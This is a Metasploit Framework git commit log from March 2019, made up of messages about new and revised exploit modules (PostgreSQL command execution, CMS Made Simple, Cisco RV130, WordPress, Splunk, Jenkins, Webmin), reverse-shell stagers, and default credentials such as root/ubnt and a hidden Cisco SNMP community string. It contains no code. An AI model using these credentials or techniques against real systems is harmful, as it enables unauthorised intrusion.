7043mcgeep f2a19d5e32 Final revisions 2019-03-27 21:53:52 -05:00
cbrnrd 3df60336d7 Add docs 2019-03-27 19:14:32 -06:00
cbrnrd 58b286c930 Add some more logging and checks 2019-03-27 19:13:25 -06:00
Brent Cook dbbf1ea5cb Land #11644, Add check for active database to relevant Msf::Payload::UUID::Options methods 2019-03-27 15:52:20 -05:00
Metasploit 9d5163ca1a automatic module_metadata_base.json update 2019-03-27 13:29:27 -07:00
Wei Chen 927d20cb95 Land #11592, Add CMS Made Simple (CMSMS) Showtime2 File Upload RCE 2019-03-27 15:21:07 -05:00
Wei Chen 38bdccb91a Use instance variables instead of datastore options 2019-03-27 15:17:32 -05:00
fabiocogno fdb1f4adea Update cmsms_showtime2_rce.rb
Fix to CSRF Token stealing function for older versions of CMSMS
2019-03-27 20:09:14 +01:00
Matthew Kienow 337e061a77 Skip operation if there is no active database 2019-03-27 13:03:37 -04:00
cbrnrd 5fc0422897 Add Rails Doubletap module 2019-03-27 11:02:08 -06:00
p0w1 19324ee6b9 Fix EOL 2019-03-27 17:13:54 +01:00
p0w1 6175870c55 Style Fixes 2019-03-27 17:12:08 +01:00
William Vu cfe3e8fba9 Fix tidy auxiliary and payload modules 2019-03-27 09:59:55 -05:00
Jacob 592cc6cc2d Update postgres_copy_from_program_cmd_exec.rb 2019-03-27 10:40:14 +00:00
p0w1 b95b8988ad Remove Space at EOL 2019-03-27 11:20:53 +01:00
p0w1 ee50471bb5 Fix check function 2019-03-27 11:12:07 +01:00
p0w1 5fd5725a34 Added RCE Exploit for logistcs software 2019-03-27 10:23:49 +01:00
Metasploit 1981e9be0c automatic module_metadata_base.json update 2019-03-26 16:52:37 -07:00
Jeffrey Martin 6a0a7c996a Land #11637, Fix a git snafu when landing 2019-03-26 18:42:42 -05:00
h00die 3f9c9341f9 add 2016 authors 2019-03-26 19:39:17 -04:00
asoto-r7 399532154d Fix a git snafu when landing #11131
While landing PR #11131, I tripped over my own shoelaces and overwrote `weblogic_deserialize_rawobject.rb` with `weblogic_deserialize_unicastref.rb`, destroying my changes and introducing a great deal of confusion.

This PR gets us back to where we should have been, with #11131 landed and a few changes to add randomization and expanding on the T3 protocol.
2019-03-26 17:54:37 -05:00
Metasploit e859608b3d automatic module_metadata_base.json update 2019-03-26 15:18:44 -07:00
asoto-r7 385cfd679a Land #11131, Weblogic_serialize_rawobject CVE-2015-4852 2019-03-26 17:07:04 -05:00
asoto-r7 26b67bbf91 Fix two-byte error, add randomization, T3 notes from @acamro 2019-03-26 16:45:17 -05:00
asoto-r7 5f5d475c2e Add expected traceback error to documentation 2019-03-26 16:44:45 -05:00
asoto-r7 f9361324bd Merge branch 'weblogic_serialize_rawobject' of git://github.com/acamro/metasploit-framework into acamro-weblogic_serialize_rawobject 2019-03-26 16:38:27 -05:00
Jacob 3c66b4fad2 Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 20:22:55 +00:00
Jacob 242f48744e Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 20:18:50 +00:00
Brendan Coles d9fc7af68e Fix version detection 2019-03-26 20:17:34 +00:00
h00die 75ec3e7df6 add date and more docs 2019-03-26 16:13:42 -04:00
Jacob 4ef10013db COMMAND removed 2019-03-26 18:59:52 +00:00
Jacob 0d6cbc90c5 Update postgres_copy_from_program_cmd_exec.rb 2019-03-26 18:54:20 +00:00
Pearce Barry 20f868c15c Complain loudly if module has no 'Author' metadata. 2019-03-26 13:27:57 -05:00
Metasploit 79d22ef0d7 automatic module_metadata_base.json update 2019-03-26 11:20:46 -07:00
Brent Cook b2d047b0b1 Land #11622, merge common hash identifier code between modules 2019-03-26 13:12:00 -05:00
Metasploit 506105bcf5 automatic module_metadata_base.json update 2019-03-26 11:07:28 -07:00
Brent Cook b204c9999e Land #11628, Outlook credentials post module update 2019-03-26 12:57:52 -05:00
Brent Cook 8314e456b8 Land #11634, Add defensive check to Msf::Payload::UUID::Options#record_payload_uuid_url 2019-03-26 12:32:44 -05:00
Brent Cook d5e777aabf Land #11572, bump to Ruby 2.6.2 2019-03-26 12:12:57 -05:00
Matthew Kienow cf42f47e5b Check that payload was returned before processing 2019-03-26 11:41:27 -04:00
tiyeuse 78fd1f3b19 Merge pull request #1 from space-r7/pr11587_updates
Add checks to scan function and fix some spacing
2019-03-26 10:27:38 +01:00
Jeffrey Martin 582f86b75c Land #11603, Fail nicely when load aggregator. 2019-03-25 23:20:49 -05:00
7043mcgeep f62e9c2e49 Updated doc 2019-03-25 22:42:19 -05:00
Brent Cook d168895311 Land #11631, payloads db fixes 2019-03-25 19:16:11 -05:00
Matthew Kienow dc3be3378d Process workspace for use in the create operation 2019-03-25 19:41:51 -04:00
Matthew Kienow 1b86c41dcc Add add_opts_workspace call to query and create 2019-03-25 19:39:25 -04:00
Matthew Kienow 6278563f25 Remove unused code 2019-03-25 19:38:28 -04:00
Shelby Pace d185e8a018 indentation fix 2019-03-25 14:54:46 -05:00
Shelby Pace 3a8b09f08e added checks on scan method 2019-03-25 14:48:19 -05:00
Shelby Pace 59f5c291c9 removed spare spaces and modified some indentation 2019-03-25 14:25:09 -05:00
Shelby Pace 2ccd753ff5 modified scenario output for path 2019-03-25 13:58:58 -05:00
Matthew Kienow 6709780817 Add entry to autoload PayloadDataProxy 2019-03-25 13:43:16 -04:00
Matthew Kienow 98401072e5 Remove duplicate autoload for WebDataProxy 2019-03-25 13:38:32 -04:00
7043mcgeep a8ccc7eb25 Remove tabbed indents 2019-03-25 11:13:28 -05:00
7043mcgeep b91231021a Hashdump adheres to better coding style. Add docs 2019-03-25 02:36:34 -05:00
Spencer McIntyre e962f94fab Handle spaces in tab completed words 2019-03-24 20:44:51 -04:00
rwincey 9d71020d9c Removed credit 2019-03-24 19:11:22 -04:00
Jacob 91e869a970 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 22:48:42 +00:00
Jacob 3b0f399730 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 22:44:31 +00:00
rwincey 8a36a0f410 Added support for later versions of Outlook, rubocop complaints 2019-03-24 18:39:55 -04:00
Quentin Kaiser 9baaedce4e Indicate potential DoS in description. Define exploit stance explicitly. 2019-03-24 22:29:07 +01:00
Quentin Kaiser 5c048e7cd6 CISCO-SA not supported. 2019-03-24 22:20:31 +01:00
bcoles 55939a64a0 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-24 19:32:29 +00:00
Jacob 74464a2087 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 18:17:43 +00:00
Jacob a62e70cdfd Update postgres_copy_from_program_cmd_exec.md 2019-03-24 18:10:28 +00:00
Jacob 248136ff44 Update postgres_copy_from_program_cmd_exec.md 2019-03-24 18:09:31 +00:00
Jacob b33de7c596 Update postgres_copy_from_program_cmd_exec.md 2019-03-24 17:49:40 +00:00
Jacob 5c16d18a48 Update postgres_copy_from_program_cmd_exec.md 2019-03-24 17:47:30 +00:00
Jacob 5448ad7f4a Update postgres_copy_from_program_cmd_exec.md 2019-03-24 17:45:15 +00:00
Quentin Kaiser ddb21a9061 Fix numbering. 2019-03-24 17:52:11 +01:00
Quentin Kaiser be73f56610 Only got researchers name, no email. 2019-03-24 17:50:31 +01:00
Quentin Kaiser 4451225da7 Add httpd service reloading. 2019-03-24 17:49:55 +01:00
Jacob 3c0a9d0748 Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 15:37:10 +00:00
bcoles f14b213725 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-24 15:36:25 +00:00
Jacob 27b3717add Update postgres_copy_from_program_cmd_exec.rb 2019-03-24 15:35:59 +00:00
rwincey 7f2e6866d4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2019-03-24 11:13:41 -04:00
h00die 656ea5240d remove space at EOL 2019-03-24 08:11:24 -04:00
h00die dfa1ab3a9b es file explorer 2019-03-24 08:01:32 -04:00
7043mcgeep 170d28d46b 12c hashdump supported 2019-03-23 13:37:19 -05:00
7043mcgeep d1cad4eb21 Add 12c support for hashdump 2019-03-23 13:15:38 -05:00
h00die 5ea406cd4c create hash identifier library 2019-03-23 14:02:34 -04:00
Brent Cook 6218d8920d Land #11615, allow exporting creds to a JTR-compatible format 2019-03-23 09:08:35 -05:00
Brent Cook d7255bbbb2 Land #11616, add get_payload method to db_manager 2019-03-23 08:25:28 -05:00
Metasploit 6b470e40a3 automatic module_metadata_base.json update 2019-03-23 04:37:29 -07:00
h00die 82a791369e remove extra spacing 2019-03-23 07:34:22 -04:00
Brent Cook 4eee987181 Land #11619, improve error handling with exploits/linux/http/panos_readsessionvars 2019-03-23 06:28:57 -05:00
h00die 759dbc86b1 land #11617 ssh library unifi cleanup 2019-03-23 07:12:23 -04:00
h00die c8785a6110 rstrip all the things 2019-03-23 07:04:41 -04:00
bcoles 5e470a538d return unless res 2019-03-23 19:38:14 +11:00
Brendan Coles ccc8d9cdab return unless res 2019-03-23 08:51:25 +00:00
h00die 6aca047dbb unifi ssh cleanup 2019-03-22 21:51:41 -04:00
h00die aada613cff Merge branch 'master' of https://github.com/rapid7/metasploit-framework into jtrout 2019-03-22 21:26:36 -04:00
Matt Robinson 771cd60a5e Add missing get_payload() method 2019-03-22 21:25:23 -04:00
h00die 0613018fc2 remove unused function 2019-03-22 21:22:39 -04:00
h00die 6d59b29884 move jtr output to -o function 2019-03-22 21:03:06 -04:00
bwatters a7fa20dfe1 Land #11614, Update payloads to 1.3.65
Merge branch 'land-11614' into upstream-master
2019-03-22 20:01:20 -05:00
Quentin Kaiser 5562af39d3 Use CmdStager instead of hardcoded wget command. 2019-03-22 20:10:29 +01:00
h00die f00c38cfe2 make creds exporter for jtr format 2019-03-22 15:04:58 -04:00
bwatters 46bb59e133 Update payloads to 1.3.65 2019-03-22 11:55:48 -05:00
wilfried 8853d6d5b5 Adding documentation + cleaning files from the exploit 2019-03-22 17:37:04 +01:00
Quentin Kaiser ef2c4310a4 Exploit for CVE-2019-1663 on Cisco RV130(W). 2019-03-22 17:34:12 +01:00
William Vu 1c349269c9 Land #11612, ipmi_users.txt update 2019-03-22 11:04:28 -05:00
Justin Bollinger c98ed4b494 Updated ipmi_users.txt
Added username 'Admin'
2019-03-22 11:40:24 -04:00
bcoles 567be6fa11 Update modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-22 11:18:07 +00:00
Metasploit ae602bedbf automatic module_metadata_base.json update 2019-03-22 03:25:32 -07:00
Brent Cook 712cbecab3 Land #11570, Add option to keep temp files with JTR modules 2019-03-22 05:16:56 -05:00
Brent Cook 11951c18ab Land #11605, Improve tab completion for the load command. 2019-03-22 05:10:20 -05:00
bcoles 3f3395768a Fix a potential regexp issue
Co-Authored-By: Green-m <greenm.xxoo@gmail.com>
2019-03-22 10:36:23 +08:00
bcoles 5a38cf17de Typo fix.
Co-Authored-By: Green-m <greenm.xxoo@gmail.com>
2019-03-22 10:34:35 +08:00
h00die 49b936f0d5 fix case of variable 2019-03-21 20:54:32 -04:00
William Vu c796fe6d6d Land #11608, unpkg-hosted Swagger UI (redux)
This prevents git grep or searches of the tree from exploding with text.
2019-03-21 14:53:10 -05:00
James Barnett 0a4932a61c Remove swagger-ui css files 2019-03-21 12:52:30 -05:00
Metasploit 6be369e3bc Bump version of framework to 5.0.14 2019-03-21 10:09:15 -07:00
PietroBiondi 0af9b8949e add doc of can_flood automotive 2019-03-21 18:05:02 +01:00
Metasploit cc1d9a1e7b automatic module_metadata_base.json update 2019-03-21 09:41:47 -07:00
Jacob Robles 94e58511ec Land #11607, Add webmin CVE 2019-03-21 11:33:33 -05:00
Metasploit 3570d3e1f2 automatic module_metadata_base.json update 2019-03-21 09:30:04 -07:00
Jacob Robles 16a48009ed Add webmin CVE 2019-03-21 11:28:45 -05:00
William Vu ee382f9be2 Land #11606, jenkins_metaprogramming fixes 2019-03-21 11:21:47 -05:00
William Vu 4524707437 Fix rebase regressions in jenkins_metaprogramming
Ugh.
2019-03-21 11:20:21 -05:00
Jacob 00cf0a7bea Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 14:23:00 +00:00
Jacob Robles 820e0def05 Land #11604, fix typo in ffautoregen 2019-03-21 07:02:47 -05:00
Jacob 91758cd94b Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:11:03 +00:00
Jacob 98638b6000 Update postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:09:57 +00:00
Jacob 03775228fe Update and rename postgres_cmd_execution_nine_three.rb to postgres_copy_from_program_cmd_exec.rb 2019-03-21 11:08:53 +00:00
Jacob 327f126beb Update postgres_copy_from_program_cmd_exec.md 2019-03-21 11:06:16 +00:00
Jacob cf9f073a24 Rename postgres_cmd_execution_nine_three.md to postgres_copy_from_program_cmd_exec.md 2019-03-21 11:05:55 +00:00
Jacob 06912ff74c Create postgres_cmd_execution_nine_three.md 2019-03-21 10:52:32 +00:00
Green-m 2c05ce5377 Enhance the load completion. 2019-03-21 18:31:32 +08:00
Jacob f651836a20 final suggested fixes to module 2019-03-21 10:24:47 +00:00
Jacob 9c4b9239e5 Update postgres_cmd_execution_nine_three.rb 2019-03-21 10:08:56 +00:00
Jacob 32bf2e134f Fixes suggested by bcoles 2019-03-21 10:08:04 +00:00
Green-m d01fc4c1c6 Fix typo. 2019-03-21 17:37:05 +08:00
bcoles 7b8f59d7bc Update modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb
Co-Authored-By: Greenwolf <48361984+Greenwolf@users.noreply.github.com>
2019-03-21 09:33:29 +00:00
Green-m 3ff7a4a639 Fail nicely when load aggregator. 2019-03-21 17:16:03 +08:00
Christian Mehlmauer fb8cc3c992 update ruby 2.5.5 too 2019-03-21 09:34:01 +01:00
Jacob 7e91235551 Adding new Postgres_cmd_execution module
PostgreSQL from 9.3 to latest has functionality allowing the database superuser & users in the 'pg_read_server_files' group to execute OS commands. 

Explanation:
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

This is my first run through of a Metasploit module so I would appreciate anyone helping me clean it up. It currently works on OSX & Linux by providing a cmd stager (like cmd/unix/reverse_perl), and on windows by first starting up a PowerShell download cradle, then putting the command in the COMMAND parameter. It feels a little hacky though 😁
2019-03-20 17:38:12 +00:00
fabiocogno c923fc9b21 Update cmsms_showtime2_rce.md 2019-03-20 15:51:53 +01:00
fabiocogno be5ec3379b Update cmsms_showtime2_rce.rb 2019-03-20 15:50:30 +01:00
PietroBiondi cb7b9080bd 1) changed print_status with vprint_status 2) Fix iterations and line splits 3) Changed name of the module 4) removed DisclosureDate 2019-03-20 15:13:41 +01:00
blightzero 9bb7f11897 Unregister SSLCert option since it is never used in thisHTTPServer module. 2019-03-20 14:21:40 +01:00
blightzero ac75de8a03 Added Documentation for Cisco RV32x remote code execution module. 2019-03-20 14:17:57 +01:00
bcoles c18ab91054 Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:13:38 +01:00
bcoles e0a3e01d26 Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:13:25 +01:00
bcoles 365e032452 Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:13:12 +01:00
bcoles 49bb5a1624 Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:13:00 +01:00
bcoles 050aa7a98c Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:12:47 +01:00
bcoles fe0d5e0c97 Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
2019-03-20 14:12:35 +01:00
Metasploit 2bb0d8491f automatic module_metadata_base.json update 2019-03-20 05:24:12 -07:00
PietroBiondi ce218fc86a Add can_flood post exploitation for CAN and added example list of frames 2019-03-20 13:17:41 +01:00
Brent Cook 3189864a98 Land #11585, Add IBM BigFix Sites Packages Enum 2019-03-20 07:12:55 -05:00
Jacob Robles fd65273b4d Add Module Doc 2019-03-20 06:40:22 -05:00
Fabio Cogno 43f74b1cf2 Add CMS Made Simple (CMSMS) Showtime2 File Upload RCE 2019-03-19 23:48:46 +01:00
Matteo Malvica 6b0f7fd9f1 Update splunk_upload_app_exec.md 2019-03-19 22:44:07 +01:00
Shelby Pace 794134735e Update modules/exploits/unix/webapp/wp_crop_rce.rb
Co-Authored-By: tiyeuse <39072217+tiyeuse@users.noreply.github.com>
2019-03-19 20:36:13 +01:00
Jacob Robles a8095b8784 Additional Options 2019-03-19 12:53:27 -05:00
wilfried b168312db1 Add exploit module for Wordpress core <=4.9.8 (CVE-2019-8942) 2019-03-19 17:51:59 +01:00
Metasploit 59046eba20 Bump version of framework to 5.0.13 2019-03-19 08:17:20 -07:00
wilfried 23a86e7ad2 Add exploit module for Wordpress core <=4.9.8 (CVE-2019-8942) 2019-03-19 16:03:29 +01:00
Matteo Malvica a2d6c77fb8 indentation fixes 2019-03-19 15:28:24 +01:00
bcoles fe0adb9ca1 Update documentation/modules/exploit/multi/http/splunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 15:11:43 +01:00
bcoles 91d4c00c37 Update documentation/modules/exploit/multi/http/splunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 15:11:30 +01:00
bcoles ed52ac685d Update documentation/modules/exploit/multi/http/splunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 15:11:18 +01:00
bcoles 418581d4d3 Update documentation/modules/exploit/multi/http/splunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 15:11:06 +01:00
Matteo Malvica 985f3748e5 Update splunk_upload_app_exec.rb 2019-03-19 15:08:51 +01:00
Matteo Malvica 92c163cb0d Update splunk_upload_app_exec.md 2019-03-19 15:00:26 +01:00
Matteo Malvica c9dcdf1b66 new error logic 2019-03-19 14:58:31 +01:00
Jacob Robles 65fab88a2e Add IBM BigFix Sites Packages Enum 2019-03-19 08:51:00 -05:00
Matteo Malvica 98a7938837 Update splunk_upload_app_exec.rb 2019-03-19 14:42:56 +01:00
bcoles aff77e58bf Update modules/exploits/multi/http/splunk_upload_app_exec.rb
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 13:57:19 +01:00
bcoles 290a422102 Update documentation/modules/exploit/multi/http/splunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 13:56:32 +01:00
bcoles 109b2bcf7e Update modules/exploits/multi/http/splunk_upload_app_exec.rb
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 13:46:57 +01:00
bcoles f98ad82583 Update modules/exploits/multi/http/splunk_upload_app_exec.rb
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-19 13:46:44 +01:00
Matteo Malvica 698cf5ea91 Update splunk_upload_app_exec.md 2019-03-19 11:02:44 +01:00
Matteo Malvica 087cef380d Update splunk_upload_app_exec.md 2019-03-19 11:02:01 +01:00
Matteo Malvica 3fc4a4cb58 Update splunk_upload_app_exec.md 2019-03-19 11:00:11 +01:00
Matteo Malvica c5c597ec17 Update splunk_upload_app_exec.md 2019-03-19 10:56:54 +01:00
Matteo Malvica a0adb779b9 Update splunk_upload_app_exec.md 2019-03-19 10:54:52 +01:00
Matteo Malvica a09ee632e8 Update splunk_upload_app_exec.md 2019-03-19 10:53:55 +01:00
Matteo Malvica e5653e348d Update splunk_upload_app_exec.md 2019-03-19 10:52:07 +01:00
Matteo Malvica ca234a1f9b Update splunk_upload_app_exec.md 2019-03-19 10:45:42 +01:00
Matteo Malvica d739ac2315 added tested list OS 2019-03-19 10:44:12 +01:00
Matteo Malvica 3ca4a9bc03 Update splunk_upload_app_exec.md 2019-03-19 10:36:35 +01:00
Matteo Malvica f0dee60d58 Update splunk_upload_app_exec.md 2019-03-19 10:30:03 +01:00
Matteo Malvica 998f9403ff Update splunk_upload_app_exec.md 2019-03-18 19:04:57 +01:00
Matteo Malvica 983442d690 Update splunk_upload_app_exec.rb 2019-03-18 19:04:45 +01:00
Matteo Malvica 245a6cac63 Update splunk_upload_app_exec.md 2019-03-18 19:03:35 +01:00
Matteo Malvica 3316e8c4bf fixed standard payload syntax 2019-03-18 19:00:33 +01:00
Matteo Malvica d7d49cba2e Update splunk_upload_app_exec.md 2019-03-18 15:20:28 +01:00
Matteo Malvica 2f1ee95073 Update splunk_upload_app_exec.rb 2019-03-18 15:11:04 +01:00
Matteo Malvica f6e9410d87 Update splunk_upload_app_exec.md 2019-03-18 14:43:47 +01:00
Matteo Malvica 9e2100ca22 Update splunk_upload_app_exec.md 2019-03-18 14:42:33 +01:00
Matteo Malvica 70a705a303 Update splunk_upload_app_exec.md 2019-03-18 14:41:46 +01:00
Matteo Malvica 2605611e56 Update splunk_upload_app_exec.md 2019-03-18 14:37:05 +01:00
Metasploit bdb8d3b9e6 automatic module_metadata_base.json update 2019-03-18 05:37:31 -07:00
Jacob Robles 24143f812c Land #11466, Add Jenkins ACL bypass and metaprogramming RCE 2019-03-18 07:21:13 -05:00
Matteo Malvica 8ee308da8a Update splunk_upload_app_exec.md 2019-03-18 12:15:48 +01:00
Matteo Malvica ba60536585 duplicate 2019-03-18 12:15:16 +01:00
Matteo Malvica 029d42a649 included link list 2019-03-18 10:35:00 +01:00
bcoles c7d2b6c18e Update documentation/modules/exploit/multi/http/lesplunk_upload_app_exec.md
Co-Authored-By: avanzo <matteo@malvica.com>
2019-03-18 10:30:54 +01:00
Matteo Malvica c5871d8a5d adding documentation to splunk modukle 2019-03-18 09:13:01 +01:00
Matteo Malvica 7a31fc2d17 added splunk 7.2.4 support 2019-03-18 09:12:00 +01:00
Matteo Malvica 4af2b87a79 Create splunk_upload_app_exec.md 2019-03-17 22:23:11 +01:00
William Vu af941b7541 Land #11573, Windows 2019 support in Windows::Priv 2019-03-17 12:13:55 -05:00
William Vu d1bf6e87e2 Land #11568, Ubiquiti USG SSH LoginScanner support 2019-03-17 12:11:04 -05:00
Brendan Coles e00b21d319 2019 2019-03-17 06:43:43 +00:00
Brendan Coles 188f4da5a5 Land #11571, Change cable-d to cable-docsis in snmp_default_pass.txt 2019-03-17 00:05:34 +00:00
Christian Mehlmauer 98bf0d6fcf ruby 2.6.2 2019-03-16 21:31:19 +01:00
El Nerdo ac0dc8be1f cable-d -> cable-docsis
cable-docsis is a known hidden community string in Cisco devices.
www.cisco.com/warp/public/707/cisco-sa-20010228-ios-snmp-community.shtml

To me, it looks like cable-d should be cable-docsis
2019-03-16 20:55:43 +01:00
William Vu 6658584142 Update HttpServer documentation 2019-03-16 13:55:04 -05:00
William Vu a1e6d4d19a Update note about staging payloads over HTTPS 2019-03-16 13:36:58 -05:00
h00die 14febf69aa add no cleanup to jtr modules 2019-03-16 11:39:59 -04:00
h00die 33bc0b3a1d add unifi USG to ssh details 2019-03-16 08:35:32 -04:00
William Vu b2c21c754f Add module doc 2019-03-16 00:39:22 -05:00
William Vu 621fa8e4db Fix issues and refactor module 2019-03-16 00:38:48 -05:00
William Vu 0fa2d985e7 Add Jenkins ACL bypass and metaprogramming RCE 2019-03-16 00:32:36 -05:00
Metasploit b021cbafa9 automatic module_metadata_base.json update 2019-03-15 11:31:19 -07:00
Brent Cook f2edda207f Land #11382, Added BMC Patrol Agent Command Exec Module 2019-03-15 13:21:06 -05:00
Metasploit 6a51e15d2b automatic module_metadata_base.json update 2019-03-15 06:42:10 -07:00
Brent Cook 2512156197 Land #11564, add a JavaMeterpreterDebug option to the java payloads 2019-03-15 08:19:58 -05:00
Jacob Robles 82f0c9e9ee Land #11385, Add Webmin Upload Exec 2019-03-15 08:15:49 -05:00
Brent Cook 69ff7b7698 Land #11561, Add OpenSUSE detection to Linux system lib 2019-03-15 07:57:26 -05:00
Brent Cook 6e5a5c33f5 Land #11567, Bump ActiveRecord version in PG deprecated warning suppression 2019-03-15 07:55:05 -05:00
Brent Cook 2bf3603cc3 Land #11553, show user bundler exception, remove outdated advice 2019-03-15 07:54:12 -05:00
Brent Cook 1f68141cfb neither Dockerfile nor Vagrant should actually install bundler these days 2019-03-15 07:19:18 -05:00
Brent Cook 180c395aa3 just print the error, but don't give specific advice 2019-03-15 07:18:48 -05:00
Matthew Kienow eeb131be29 Increase ActiveRecord version number 2019-03-15 02:23:12 -04:00
William Vu 9b8cc607ef Land #11554, irb and pry for command shells 2019-03-14 13:59:07 -05:00
Jacob Robles 5abfc2c136 Add Module Doc 2019-03-14 13:46:34 -05:00
Jacob Robles fa3e84f764 Cleanup and Add Option 2019-03-14 13:26:41 -05:00
Metasploit 4793f28e28 Bump version of framework to 5.0.12 2019-03-14 10:06:42 -07:00
Tim W 5cfe5b4567 add JavaMeterpreterDebug option 2019-03-14 23:43:22 +08:00
Jacob Robles 1d586e46c0 Use MIME for form 2019-03-14 10:13:48 -05:00
blightzero 1e00c28701 Checked the functionality of module. Added ability to connect via HTTPS. 2019-03-14 15:54:02 +01:00
William Vu 173f251845 Land #11558, Ubiquiti UniFi for SSH LoginScanner 2019-03-14 09:53:57 -05:00
Jacob Robles 9a32231cb5 Change upload and add option
Change the contents of the uploaded file and
don't overwrite and existing file by default.
Add option to specify name of file.
2019-03-14 09:34:55 -05:00
Brent Cook 3027df6ab3 final tweaks 2019-03-14 06:47:58 -05:00
Brent Cook 2a906a2a32 be even clearer 2019-03-14 06:31:54 -05:00
Brent Cook e1e13d964d give better specific instructions where bundler versions are stepping on each other 2019-03-14 06:27:37 -05:00
h00die 724d5c5a26 spaces EOL 2019-03-13 20:48:07 -04:00
h00die f836329bce add osx 2019-03-13 20:20:18 -04:00
Brendan Coles 56bff4f748 Add OpenSUSE detection to Linux system lib 2019-03-13 23:18:54 +00:00
Adam Cammack a73393a0ea Land #11559, Fix check command with no arguments 2019-03-13 14:26:31 -05:00
Jacob Robles a00f4bf508 Check fix
Account for empty args array
2019-03-13 09:18:18 -05:00
h00die a0b1ca1767 detect unifi in ssh sessions 2019-03-12 20:35:32 -04:00
William Vu 7a1b11b1b8 Support command-specific help command 2019-03-12 19:08:32 -05:00
Brendan Coles b6c0643b6d Land #11557, Add root/ubnt default creds to wordlists/routers_userpass.txt 2019-03-13 00:02:26 +00:00
h00die 42be66a2cf add root/ubnt to router creds 2019-03-12 19:26:58 -04:00
Metasploit cc3cc7b7dd automatic module_metadata_base.json update 2019-03-12 14:39:30 -07:00
Wei Chen 926d5842a2 Land #11547, Add Total.js Directory Traversal module 2019-03-12 16:31:21 -05:00
Wei Chen 8989ee9a9f Update format for doc 2019-03-12 16:30:36 -05:00
William Vu e46893bfbd Split command using Shellwords.shellwords 2019-03-12 13:34:51 -05:00
William Vu 9186e00167 Add irb and pry commands to command shells 2019-03-12 12:22:12 -05:00
Brent Cook c197a0d019 actually show why bundler failed to load 2019-03-12 11:33:34 -05:00
Jacob Robles bd1cd7fae8 Bug and style fixes
webmin RCE
2019-03-12 10:54:43 -05:00
William Vu 996c406e71 Land #11552, soft error for invalid module names 2019-03-12 10:34:54 -05:00
William Vu 8e9c207d26 Clarify module name is filename as per msftidy 2019-03-11 23:53:36 -05:00
William Vu 1d8538caee Direct user to framework.log for load problems
This reduces long lines and cluttered output during startup.
2019-03-11 23:40:59 -05:00
William Vu 6c4729de7e Prefer a soft error for invalid module names 2019-03-11 22:54:34 -05:00
William Vu c06190c122 Revert Msf::ModuleLoadError exception
Msf::Modules::Error is already a thing! My bad.
2019-03-11 22:34:37 -05:00
William Vu fd20d29fd7 Land #11551, jobify fix for aux modules 2019-03-11 16:33:55 -05:00
Fabio Cogno e906ecb163 Add a function to check extensions 2019-03-11 22:23:11 +01:00
h00die 95f6630d32 unifi reviews 2019-03-11 17:20:00 -04:00
Metasploit 6ad2d380dd automatic module_metadata_base.json update 2019-03-11 14:00:51 -07:00
Brent Cook 896f4cd933 Land #11543, tweak rubocop settings 2019-03-11 15:50:05 -05:00
Brent Cook 5ee43d43d6 Land #11544, add reregister_tcp/udp_options 2019-03-11 15:49:23 -05:00
Brent Cook b731f3e619 remove Ruby 2.2 constraint 2019-03-11 15:32:25 -05:00
Metasploit 8112978aac automatic module_metadata_base.json update 2019-03-11 13:19:00 -07:00
Shelby Pace a4c1181b9f Land #11545, Add elFinder Command Injection 2019-03-11 15:01:46 -05:00
Brent Cook d14ace42ed fix jobify support with aux modules
Looks like we hit another bug involving variable scope in parameters passed down to run_simple via 'run_single'. Since 'run_single' doesn't actually even run a single invocation of a module, let's just unwind that function, and get the rest of the parameters passed down.

This also explicitly disables 'jobify' support for non-scanner aux modules with multiple targets, which I don't think we're ready for until we add the RHOSTS iteration to the module proper. Otherwise, we'll have an explosion of jobs in the current implementation.
2019-03-11 14:20:34 -05:00
Fabio Cogno bb7be797b4 Add documentation 2019-03-10 23:03:16 +01:00
Fabio Cogno 8822b82a28 Refactory and fix 2019-03-10 22:39:27 +01:00
h00die a8b09e17da unifi backup downloader 2019-03-10 16:20:42 -04:00
Fabio Cogno 14e0643962 Refactory and fix 2019-03-10 19:33:08 +01:00
Fabio Cogno 0a5964d2a4 Add Total.js Directory Traversal module 2019-03-10 18:47:53 +01:00
